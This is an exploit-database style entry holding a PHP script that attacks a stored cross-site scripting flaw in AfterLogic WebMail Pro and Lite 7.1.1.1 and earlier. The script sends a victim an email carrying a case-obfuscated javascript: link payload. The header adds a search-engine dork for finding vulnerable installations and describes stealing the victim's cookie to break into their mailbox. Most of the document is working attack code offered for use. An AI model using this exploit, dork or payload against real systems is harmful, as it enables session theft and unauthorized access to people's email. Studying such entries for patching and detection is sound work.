AfterLogic Pro and Lite 7.1.1.1 – Persistent Cross-Site Scripting
<?php /* # Exploit Title : AfterLogic Pro and Lite <= 7.1.1.1 Stored XSS # Google Dork : intext:"AfterLogic" intext:"Login Information" inurl:index.php # Date : 19 Jan 2014 # Exploit Author : Saeed reza Zamanian [s.zamanian [AT] imenantivirus.com] # Vendor Homepage: http://www.afterlogic.com/ # Software Link : http://www.afterlogic.com/download/webmail-pro # Version : <= 7.1.1.1 # Tested on : KALI Linux 1.0.5 (Debian) Apache/2.2.22 # CVE : vendor id = 6423 Greetz: H.Zamanian, K.Kia, K.Khani WebApp Desciption: AfterLogic WebMail is a browser-based e-mail and collaboration front end, designed to work with your existing messaging solutions. From an administrator’s perspective, the application is easy to install on your own server, easy to integrate and easy to maintain. Vulnerability Description: XSS codes can be stored in E-Mail Body. So you can send an email to the Victim with below payload and steal the victim's cookie. <a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n NOTE: javascript html char encode = javaScRipt then you will be able to get into the victim's mailbox via the url: http://[WebSite]/[AfterLogic]/Default.aspx ## Phpmailer class is included in the exploit so you need to download it here and run the exploit in the phpmailer directory: http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list */ echo "<title>AfterLogic Pro and Lite <= 7.1.1.1 XSS Exploit</title>"; require_once('class.phpmailer.php'); $mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch $mail->IsSMTP(); // telling the class to use SMTP /* SETTINGS */ $smtp_user = "username"; // Any valid smtp account $smtp_pass = "password"; // Your PASSWORD $smtp_port = "25"; // SMTP PORT Default: 25 $smtp_host = "localhost"; // Any valid smtp server $from = "attacker@email.com"; // Any email $victim = "victim@email.com"; // Victim email on afterlogic webmail. $subject = "Salam"; // Subject /* Body Text */ $body = '<a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n'; try { $mail->SMTPDebug = 2; // enables SMTP debug information (for testing) $mail->SMTPAuth = false; // enable SMTP authentication $mail->Host = $smtp_host; $mail->Port = $smtp_port; $mail->Username = $smtp_user; // SMTP account username $mail->Password = $smtp_pass; // SMTP account password $mail->SetFrom($from, 'Attacker'); $mail->AddReplyTo($from, 'Attacker'); $mail->AddAddress($victim, 'Victim'); $mail->Subject = $subject; $mail->MsgHTML($body); $mail->Send(); echo "Message Sent OK</p>\n"; } catch (phpmailerException $e) { echo $e->errorMessage(); } catch (Exception $e) { echo $e->getMessage(); } ?> </body> </html> |